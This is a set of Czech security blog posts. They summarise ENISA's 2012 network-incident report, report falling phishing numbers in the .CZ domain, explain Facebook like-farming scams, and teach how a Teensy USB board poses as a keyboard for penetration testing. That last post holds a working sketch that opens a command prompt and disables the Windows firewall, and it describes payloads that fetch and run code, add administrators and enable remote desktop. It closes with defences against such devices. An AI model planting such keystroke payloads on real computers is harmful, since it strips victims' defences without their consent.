Co způsobuje největší výpadky v Evropě? Jak dlouho trvá jejich odstranění? Kolik uživatelů postihují? Jsou kybernetické útoky na ústupu nebo naopak? Na tyto a další otázky odpovídá Výroční zpráva o incidentech za rok 2012 Evropské agentury pro síťovou a informační bezpečnost (ENISA – European Network and Information Security Agency). Na základě analýzy 79 závažných incidentů elektronických komunikačních sítí a služeb ze všech 28 států Evropské unie byla vypracována zpráva obsahující statistiky s různými proměnnými, která má pomoci vytvořit obraz největších incidentů na území Evropské unie za rok 2012. Podobný report ENISA již jednou vypracovala, proto bylo v tomto roce možné výsledky porovnat a začít sledovat jejich vývoj.

Potvrzením známých trendů je skutečnost, že nejvíce incidentů postihuje mobilní zařízení a mobilní Internet. V důsledku vysoké míry rozšíření mobilních telefonů a mobilního Internetu v Evropě, tak postihuje také nejvíce uživatelů. Každý incident v mobilní síti zasáhne v průměru až 1,8 miliónu uživatelů. To je způsobené mimo jiné faktem, že v Evropě jsou mobilní služby v porovnání s pevným připojením rozšířenější a tak se také mohou stát snadněji „obětí“ větších plošných útoků.

Nejčastějším důvodem incidentu je systémová chyba. Až 76 % incidentů je tak způsobených softwarovou či hardwarovou chybou. Hardwarové chyby se podle statistik vyskytují nejčastěji, až za nimi následují chyby způsobené softwarovou vadou. Zajímavé však je, že incidenty způsobené třetí stranou (např. ztráta energie), které tvořily jenom 13 % případů, odpovídaly za nejvíce ztracených hodin samotných uživatelů.

Na jedné straně jsou incidenty, jejichž počet a důsledky můžeme limitovat, na druhé straně jsou však incidenty, kterým dokážeme jenom těžko zabránit. Do této kategorie spadají incidenty spojené s přírodními silami. V jejich případě trvá průměrně až 36 hodin, než dojde k jejich odstranění. Nejenže tento typ incidentu trval v průměru nejdéle, ale také počet ztracených uživatelských hodin se vyšplhal na 20 283, což je hned po již vzpomínaných chybách způsobených třetími stranami nejvíce. Poměrně dlouho také trvala náprava v případě, kdy byl incident způsobený lidským faktorem. Zde se jedná v průměru až o 26 hodin.

Velice zajímavá fakta se však objevila v souvislosti s kybernetickými útoky. Zatímco v roce 2011 byly jenom za dvěma procenty incidentů, v roce 2012 se tento počet ztrojnásobil. Když si je však porovnáme s incidenty způsobenými například hardwarovými chybami, trvalo jejich odstranění pouze tři hodiny. V případě hardwarových příčin se jednalo až o devět hodin. Kybernetické útoky se však dostávají na top pozice v počtu omezených připojení, kde obsadily tento rok nelichotivou čtvrtou příčku.

Zajímavý pohled je také na konkrétní případy, které se vyskytly v členských státech EU. Samozřejmě jsou tyto případy anonymizované tak, aby nebyla dotčena práva zainteresovaných stran. V jednom z těchto případů dokázal útočník přes DDoS ovlivnit 2,5 miliónů uživatelů Internetu na 1 až 2 hodiny. Jiným příkladem je incident, při němž bývalý zaměstnanec založil oheň na ústředně, která zprostředkovávala DSL připojení k Internetu pro přibližně 10 000 uživatelů. V tomto případě trvalo až 36 hodin, než se připojení obnovilo. V jiném případě aplikoval dodavatel pravidelný softwarový update pro Home Location Register, což je vlastně taková centrální databáze v mobilní síti, která obsahuje informace o každém účastníkovi, který používá mobilní telefon. Bohužel se ukázalo, že tento update byl chybný. Tato chyba pak měla dopad na zhruba polovinu zákazníků a výpadek trval přibližně osm hodin.

Z těchto statistik i individuálních případů vyplývá, že je vhodné být připravený na všechny možné situace. Kromě sledování aktuálních trendů v oblasti bezpečnosti, dobře ošetřené fyzické bezpečnosti, či třeba vhodného testovacího prostředí pro testování nových aplikací a updatů, je potřeba mít také připravené adekvátní krizové plány, které pomohou předejít chaosu v prvních okamžicích po vzniku incidentu. Včasná a správně zvolená reakce na incident může pomoci předejít rozsáhlejším škodám, zkrátka i v této oblasti platí okřídlené úsloví připraveným štěstí přeje.

Zuzana Duračinská

Další zpráva sdružení APWG zabývající se phishingovými útoky přináší výsledky měření za druhé pololetí roku 2012. Vytrvalé monitorování a rychlá reakce na zjištěné phishingové útoky, jimž se věnují oba naše CSIRT týmy (národní CSIRT.CZ, interní CZ.NIC-CSIRT), zdá se odrazují útočníky od zneužívání domény .CZ čím dál více. Zatímco v předchozích dvou pololetích bylo v doméně .CZ 171 (2/2011) a 170 (1/2012) phishingových útoků, v druhém pololetí roku 2012 bylo takových útoků již pouze 135.

Nejvíce zneužívané domény prvního řádu

Došlo také k dalšímu snížení ukazatele počtu phishingových útoků na deset tisíc registrovaných doménových jmen v zóně .CZ. V současné chvíli je tento ukazatel rovný číslu jedna, což oproti minulému pololetí představuje zlepšení o jednu desetinu procenta. Opět také poklesl průměrný uptime phishingových stránek v doméně .cz, a to z předchozích 39 hodin a 41 minut na 24 hodin a 56 minut. Podle výzkumů organizací, které se boji s phishingem věnují, mají phishingové stránky největší výtěžnost během prvních 24 hodin. Tedy již se blížíme hranici, při které se útočníkům přestane phishing v naší národní doméně vyplácet. Jediný ukazatel, který se od minule zvýšil, je medián uptimu. Ten stoupl z 13 hodin a 54 minut na 15 hodin a dvě minuty. I tak si ale myslím, že jsme si celkově velice polepšili.

Na závěr bych chtěl proto touto cestou poděkovat všem administrátorům, se kterými naše týmy při řešení útoků spolupracují, za jejich příkladnou spolupráci při odstraňování phishingových stránek na jimi provozovaných serverech.

Pavel Bašta

Určitě jste již někdy slyšeli o facebookové hře Farmville. Ale říká vám něco pojem Like-farming? Jedná se o sbírání „lajků“, tedy v podstatě fanoušků, pro konkrétní facebookovou stránku. Vlastně mě k sepsání tohoto blogpostu inspirovala pozvánka, kterou jsem nedávno dostal a která vedla na stránku „Tvůj Rodokmen aneb: Poznej své předky!

Snad ani netřeba zdůrazňovat, že žádný rodokmen nezískáte.

 Podobných podvodných stránek vzniká na Facebooku celá řada. Jejich primárním cílem je nějakým způsobem nalákat uživatele, aby se stali fanouškem stránky a zároveň do ní pozvali své další přátele. Za tímto účelem se používají obvykle dvě taktiky: první něco slibuje (lechtivé video s celebritou, výhru iPhonu, iPadu, změnu vzhledu facebookové stránky, či třeba možnost sledovat, kdo si prohlížel váš facebookový profil), druhá je zastrašující (pokud nesouhlasíte se zpoplatněním využívání Facebooku, pak dejte like). Podobným skupinám je tedy vhodné se vyhnout. Pokud si nejste jisti, můžete využít například stránku facecrooks.com.

Cui bono? To je ta otázka, o kterou zde kráčí. Možná si říkáte, k čemu taková stránka může někomu být? Tak například často bývá podmínkou získání slíbené odměny požadavek na vyplnění nějaké ankety. Za to, že věnujete svůj čas jejímu vyplnění, však dostává zaplaceno majitel stránky, Vy se samozřejmě slíbené odměny, například ve formě růžového facebookového profilu, nedočkáte. Jiný způsob výdělku spočívá ve zobrazování reklamy fanouškům stránek nebo v přímém prodeji takto vybudované stránky dalšímu zájemci.

Poptávka po stránce s více než 50 tisíci fanoušky.

A nabídka (stránky již byly prodány).

Nejhorší možnou variantou je zneužití takovéto skupiny k šíření malware, například formou odkazu na video, které prostě musíte vidět. Samozřejmě místo videa budete vyzváni ke stažení přehrávače videa. Tento soubor však ve skutečnosti obsahuje malware, který ukradne vaše citlivá data a použije váš účet k dalšímu šíření odkazů na tento malware.

Doufám, že po přečtení tohoto krátkého článku budete při používání Facebooku zase o trochu obezřetnější a že nedáte zbytečně šanci vykukům, kteří vydělávají na lidské naivitě. Tak schválně, každý kdo dá like na tento článek, tomu se na facebookové stránce zpřístupní možnost sledovat soukromou korespondenci ostatních uživatelů.

Pavel Bašta

USB je stále často podceňovaným místem, přes které může být kompromitován operační systém. Kromě klasického šíření malware pomocí USB Mass storage disků, Flash disků s podporou U3, které umožňují obejít dnes již ve většině operačních systémů existující blokaci autorun funkce, a hardwarových keylogerů stojí za pozornost programovatelná zařízení, která se vůči systému chovají jako klávesnice. Jedno takové zařízení bych tu dnes chtěl krátce prezentovat.

Pro fanoušky open-source platformy Arduino nebude pravděpodobně ani Teensy zcela neznámé. Pro ty, kteří zatím neměli tu čest, jen krátké představení. Jedná se o jednočipové počítače, které jsou vhodné pro různé jednoúčelové aplikace jako je řízení, či regulace. Takové Arduino můžete například použít k řízení nějakého vašeho vozítka či na něm naprogramovat jednoduchý webový server a připojit jej k internetu. My se však dnes zaměříme na Teensy a především na možnost využití tohoto zařízení k penetračnímu testování.

Toto zařízení má totiž hned tři výhody, je malé, takže se snadno vměstná například do útrob počítačové myši, jeho pořizovací cena je kolem $20 a především, z pohledu počítače se umí hlásit jako MIDI/USB/HID zařízení, což mimo jiné znamená, že počítač jím zadaná data interpretuje jako povely od uživatele. Tady se právě otevírá cesta pro využití při penetračním testování. Ale pojďme pěkně po pořádku.

Teensy ++ 2.0 ve srovnání s běžným flash diskem

Kromě samotného zařízení – já jsem vše testoval na Teensy ++ ve verzi 2.0 – potřebujeme ještě obslužný software. Pokud si chcete následující proceduru ušetřit, můžete sáhnout po distribuci Backtrack 5 R3, kde už je jak ADE, tak i podpora pro Teensy implementována. V opačném případě na této adrese stáhneme nejdříve Arduino Development Environment (ADE) pro námi požadovanou platformu a rozbalíme jej na disk. Pokud pracujeme na linuxu, pak musíme ještě udělit non-root uživatelům práva k použití Teensy.

sudo cp 49-teensy.rules /etc/udev/rules.d/

Arduino software však sám o sobě nepodporuje Teensy, je proto potřeba podporu pro Teensy doinstalovat. Stáhneme tedy instalátor rozšíření teensyduino pro náš OS a spustíme jej. Během instalace teensyduino budeme vyzváni k zadání cesty k rozbalenému software pro Arduino. V aplikaci ADE by se měla nyní objevit podpora pro Teensy. Po spuštění programu ještě vybereme naši desku, v mém případě Teensy ++ 2.0 a jako USB Type nastavíme kombinaci Keyboard+Mouse+Joystick.

Nastavení programu Arduino Development Environment

Nyní již zbývá jen připojit naše zařízení. Pokud si chceme ověřit, že vše správně funguje, můžeme nahrát náš první program. Než se pustíme do vlastních programů, můžeme využít předpřipravené ukázky. Pod File –> Examples –> Teensy najdeme množství připravených prográmků, kterým se zde říká Sketch. Na první vyzkoušení doporučuji položku Tutorial1 –> Blink. Po nahrání zdrojového kódu klepneme na upload, náš sketch se automaticky zkompiluje a nahraje do zařízení. Po úspěšném nahrání by na zařízení měla začít blikat dioda. Pokud se tak nestalo, zkuste zmáčknout tlačítko, které je na desce.

Pro psaní vlastních programů použijeme jazyk Arduino Programmable Language, lze však použít i klasický programovací jazyk C. Každý sketch musí vždy obsahovat funkce setup a loop, jinak jej kompilátor nepřijme.

Základ každého programu pro Teensy

Začněme klasikou, následující program, díky skutečnosti, že se Teensy chová po připojení k počítači jako klávesnice, vypíše „Hello World“.
void setup()
{
Keyboard.print("Hello World");
}
void loop()
{
}
Pro informaci, pokud bychom příkaz umístili do smyčky loop, bude se Hello World vypisovat stále dokola. Nyní se pojďme podívat, jaké další zajímavé věci můžeme vyzkoušet.

Pokud se podíváme na tuto adresu, můžeme si najít informace o možnostech zadání všech obvyklých znaků. Zajímavé jsou také Modifier Keys, což jsou funkční klávesy, kde například MODIFIERKEY_GUI je vlastně klávesa WIN. Pojďme se nyní podívat, jakým způsobem může této skutečnosti využít útočník. Následující sketch provede tyto kroky – na začátku vyčká 5000ms, to aby došlo ke korektnímu připojení zařízení k operačnímu systému. Dále spustí klávesovou zkratku WIN R, což ve windows vyvolá okno pro spuštění programu. Do něj pak zapíše příkaz cmd pro spuštění příkazové řádky. Ve finále pak příkazem netsh firewall set opmode disable vypne firewall ve windows.

void setup()
{
delay(5000);
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
delay(500);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("cmd");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
delay(2000);
Keyboard.print("netsh firewall set opmode disable");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}
void loop()
{
}


Takto po připojení k počítači s OS windows dojde k vypnutí firewallu, na což windows zareagují informací o možném ohrožení počítače

Jak je vidět, Teensy se skutečně chová z pohledu PC jako klávesnice. Díky možnostem, které nabízí unixové shelly nebo třeba powershell ve windows, otevírá toto zařízení zajímavé možnosti při penetračním testování. Představte si, že toto zařízení zamaskujete jako počítačovou myš, USB disk či nějaký USB gadget a necháte jej ležet na vhodném místě, třeba na recepci a nahrajete do něj vlastní kód, který pomocí powershellu například přidá nový účet a spustí remote desktop. I přes fakt, že si většina těchto prográmků otevře nejdříve okno pro zadávání příkazů, jsou prý útoky pomocí tohoto zařízení úspěšné. Pokud si však jako oběť vybere útočník počítač běžného firemního uživatele, asi to není zas až tak divné. Ze své osobní zkušenosti ze společnosti, kde se používala Active Directory a kde se při každém přihlášení počítače spouštěli různé skripty, mohu říci, že jedno okno s MSDOS navíc bych při přihlášení nejspíš také nezaregistroval.

Osobně jsem se o tomto zajímavém zařízení dozvěděl při prezentaci o programu kautilya napsaném v jazyce Ruby, který umí generovat různé ukázkové sketche pro Windows, Linux i OS X zaměřené právě na penetrační testování.

Starší verze programu Kautilya ještě bez podpory OS X je již součástí distribuce Backtrack

Jeden z těchto sketchů dokáže například stáhnout spustitelný kód uložený na serveru pastebin v textovém formátu, převést jej zpět na exe a spustit jej na pozadí na počítači oběti. Další zase dokáží přidat nového administrátora, povolit vzdálenou plochu, či na pozadí spustit instanci prohlížeče s konkrétní URL.

Pojďme si ještě krátce říci, jak se lze proti zneužití takovéhoto zařízení vůči námi spravovaným počítačům bránit. Ve světě operačních systémů společnosti Microsoft můžeme pomocí skupinové politiky zakázat běžným uživatelům instalaci nového hardware. V linuxu pak můžeme pomocí UDEV rules například povolit pouze známá zařízení.

Microsoft nabízí přes gpedit.msc několik způsobů pro blokování instalace nových zařízení

Pavel Bašta